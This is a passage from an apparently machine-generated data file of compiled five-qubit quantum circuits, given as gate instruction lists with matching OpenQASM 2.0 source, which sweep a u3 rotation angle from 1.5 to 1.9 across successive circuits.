'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1217', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1219', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.7000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1221', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1223', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.9000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- 